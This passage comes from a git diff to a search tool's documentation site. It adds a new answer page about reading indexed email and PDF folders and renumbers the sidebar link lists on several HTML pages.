run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>@@ -309,6 +310,7 @@<li><a href="/answers/index-multiple-csv-files">I have a directory of CSV exports. How do I query them without opening each one in Excel?</a> — Point xerj autoindex at the folder once. A captured run split 3 CSV files across 2 schemas into 2 indices and answered one query across both of them.</li><li><a href="/answers/search-file-contents-in-a-folder">I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a> — Index a folder of PDFs, Word docs and markdown with one xerj autoindex command, then search the contents. A captured 6-file run indexed 51 documents into 2 indices.</li><li><a href="/answers/search-zendesk-ticket-json-export">I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a> — Index the exported ticket JSON on disk. A captured run returned 36 description hits with per-ticket locators and an exact status count of 30 per status.</li>+ <li><a href="/answers/read-indexed-email-and-pdf-folder">I indexed a folder of email and PDFs. How do I actually read what it found?</a> — xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only.</li><li><a href="/answers/search-jupyter-notebook-cells">I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a> — A captured run indexed one document per notebook cell, with cell_type, execution_count and the nbformat cell id, so a hit names the exact cell.</li><li><a href="/answers/search-html-export">I saved a help-center as HTML. How do I search it like the real help-center search?</a> — XERJ autoindex indexes a static HTML export from local disk, extracts title and a headings array per page, and fetched 0 non-loopback peers in our capture.</li><li><a href="/answers/is-pdf-indexing-efficient">Is it efficient to index PDF files?</a> — PDF extraction is the slowest family XERJ parses. XERJ runs it in an isolated worker sized from free memory, caps it 5 ways, and refuses image-only files.</li>diff --git a/landing/answers/index.json b/landing/answers/index.jsonindex afcbfd072..e0fd5bb12 100644--- a/landing/answers/index.json+++ b/landing/answers/index.json@@ -218,6 +218,15 @@"updated": "2026-08-21","summary": "XERJ autoindex indexes Markdown as the txt-prose family and answers the Elasticsearch API, but it maps no headings array and keeps the hash in the title."},+ {+ "title": "How do I read email and PDFs after indexing a folder?",+ "question": "I indexed a folder of email and PDFs. How do I actually read what it found?",+ "canonical_url": "https://xerj.org/answers/read-indexed-email-and-pdf-folder",+ "markdown_url": "https://xerj.org/answers/read-indexed-email-and-pdf-folder.md",+ "cluster": "Files and formats",+ "updated": "2026-09-19",+ "summary": "xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only."+ },{"title": "How do I run syntax-aware code search?","question": "Is there a syntax-aware code search tool for refactoring?",diff --git a/landing/answers/is-pdf-indexing-efficient.html b/landing/answers/is-pdf-indexing-efficient.htmlindex f3a4c6f7a..ea1bc227e 100644--- a/landing/answers/is-pdf-indexing-efficient.html+++ b/landing/answers/is-pdf-indexing-efficient.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class="active"><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class="active"><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/keep-index-current-as-files-change.html b/landing/answers/keep-index-current-as-files-change.htmlindex 47d69b1c3..50afde025 100644--- a/landing/answers/keep-index-current-as-files-change.html+++ b/landing/answers/keep-index-current-as-files-change.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class="active"><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class="active"><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/keep-s3-bucket-index-current.html b/landing/answers/keep-s3-bucket-index-current.htmlindex 234d77eed..134047b71 100644--- a/landing/answers/keep-s3-bucket-index-current.html+++ b/landing/answers/keep-s3-bucket-index-current.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class="active"><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a 